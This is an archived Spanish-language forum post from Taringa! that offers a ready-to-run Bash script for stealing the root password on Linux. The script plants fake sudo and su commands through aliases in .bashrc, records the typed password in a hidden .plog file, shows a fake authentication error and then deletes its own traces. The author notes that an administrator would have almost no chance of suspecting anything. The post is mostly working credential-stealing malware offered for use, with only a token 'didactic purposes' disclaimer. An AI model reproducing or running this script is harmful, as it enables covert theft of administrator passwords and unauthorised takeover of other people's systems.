InicioLinuxScript de Bash para capturar el password del root

Script de Bash para capturar el password del root

Linux3/8/2013
Este script captura el password del root al intentar loggearse desde una session de usuario estandar con los comandos sudo o su. Basicamente lo que hace es crear un alias a los comandos sudo y su. Cuando el usuario ejecuta sudo o su se le pide el password normalmente y cuando lo introduce este es capturado y guardado en un archivo oculto para posterior consulta a la vez que le da error de password incorrecto y le retorna el prompt para que lo introduzca de nuevo como sucede de forma comun. Una vez que el password es introducido por segunda vez este es aceptado ya que este segundo prompt es el real y una vez que es aceptado se ejecuta la orden para la que el usuario invoco sudo, en caso que fuera sudo, o devuelve el prompt del root en caso de su. O sea que las posibilidades de sospecha por parte de un administrador serian casi nulas. Espero que les sea util. Saludos.

#!/bin/bash
#
##############################################################################
#
# Descripcion: Falsifica los comandos sudo y su haciendose pasar por
# los mismos con el fin de obtener el password del root.
# Una vez obtenido el password es guardado en un log
# llamado: .plog en el home del usuario.
#
#
# Explicacion del modo de operacion:
# (1) Se crea una copia del archivo .bashrc llamada .bashrcbk.
# (2) Se crean dos alias en el .bashrc original de los commandos
# <sudo> y <su> que llaman a nuestro programa en caso de ser
# invocado cualquiera de los dos.
# (3) Se crearan dos scripts que simulan los comandos <sudo> y <su>
# y capturan el password del root guardandolo en el archivo
# .plog en el home del usuario. Estos archivos se encuentran
# en el home del usuario con los nombres: ".sudo_su" y ".sudo_sd".
# (4) Se restaura el .bashrc original desde la copia .bashrcbk.
# (5) Se borran los archivos creados.
# (6) Se ejecuta <bash> cargando el .bashrc original para no
# tener que reiniciar el terminal en ese momento.
#
# Modo de empleo:
# (1) Ejecutar el programa desde un terminal: <sh sskeylogger.sh> (o el nombre
# que le quieras poner), o darle permisos de ejecucion y ejecutarlo
# desde el navegador de archivos.
# (2) Cerrar el terminal.
# (3) Esperar a que sea ejecutado el comando <sudo> o <su>.
# (4) Leer el log generado, puede ser con el siguiente comando:
# <cat $HOME/.plog>
#
# Nota: Este programa fue escrito exclusivamente con fines didacticos, por lo
# que el escritor no se hace responsable de un mal uso del mismo.
#
##############################################################################
# Backup del .bashrc
cp $HOME/.bashrc $HOME/.bashrcbk;

# Suplantacion de <su>
echo "alias su='$HOME/.sudo_su'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_su;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_su;
echo "stty -echo" >> $HOME/.sudo_su;
echo "read -p "Contraseña: " IN" >> $HOME/.sudo_su;
echo "stty echo" >> $HOME/.sudo_su;
echo "echo" >> $HOME/.sudo_su;
echo "date >> $HOME/.plog" >> $HOME/.sudo_su;
echo "echo Password: $IN >> $HOME/.plog" >> $HOME/.sudo_su;
echo "sleep 2" >> $HOME/.sudo_su;
echo "echo "su: Fallo de autenticación"" >> $HOME/.sudo_su;
echo "rm $HOME/.sudo_sd" >> $HOME/.sudo_su;
echo "rm `basename $0`" >> $HOME/.sudo_su;
echo "bash --rcfile .bashrc" >> $HOME/.sudo_su;
chmod 755 $HOME/.sudo_su;

# Suplantacion de <sudo>
echo "alias sudo='$HOME/.sudo_sd'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_sd;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_sd;
echo "stty -echo" >> $HOME/.sudo_sd;
echo "read -p "[sudo] password for `id -un`: " IN" >> $HOME/.sudo_sd;
echo "stty echo" >> $HOME/.sudo_sd;
echo "echo" >> $HOME/.sudo_sd;
echo "date >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "echo Password: $IN >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "sleep 2" >> $HOME/.sudo_sd;
echo "echo "Sorry, try again."" >> $HOME/.sudo_sd;
echo "rm `basename $0`" >> $HOME/.sudo_sd;
echo "rm $HOME/.sudo_su" >> $HOME/.sudo_sd;
echo "sudo -k;" >> $HOME/.sudo_sd;
echo "sudo $*; bash --rcfile .bashrc" >> $HOME/.sudo_sd;
chmod 755 $HOME/.sudo_sd;

PD: probado y testeado en Linux d4nyr3y 2.6.32-5-amd64 #1 SMP Fri Feb 15 15:39:52 UTC 2013 x86_64 GNU/Linux Debian 6.0.7

Datos archivados del Taringa! original
5puntos
106visitas
0comentarios
Actividad nueva en Posteamelo
0puntos
3visitas
0comentarios
Dar puntos:

Dejá tu comentario

0/2000

Autor del Post

d
d4nyr3y🇦🇷
Usuario
Puntos0
Posts6
Ver perfil →
PosteameloArchivo Histórico de Taringa! (2004-2017). Preservando la inteligencia colectiva de la internet hispanohablante.

CONTACTO

18 de Septiembre 455, Casilla 52

Chillán, Región de Ñuble, Chile

Solo correo postal

© 2026 Posteamelo.com. No afiliado con Taringa! ni sus sucesores.

Contenido preservado con fines históricos y culturales.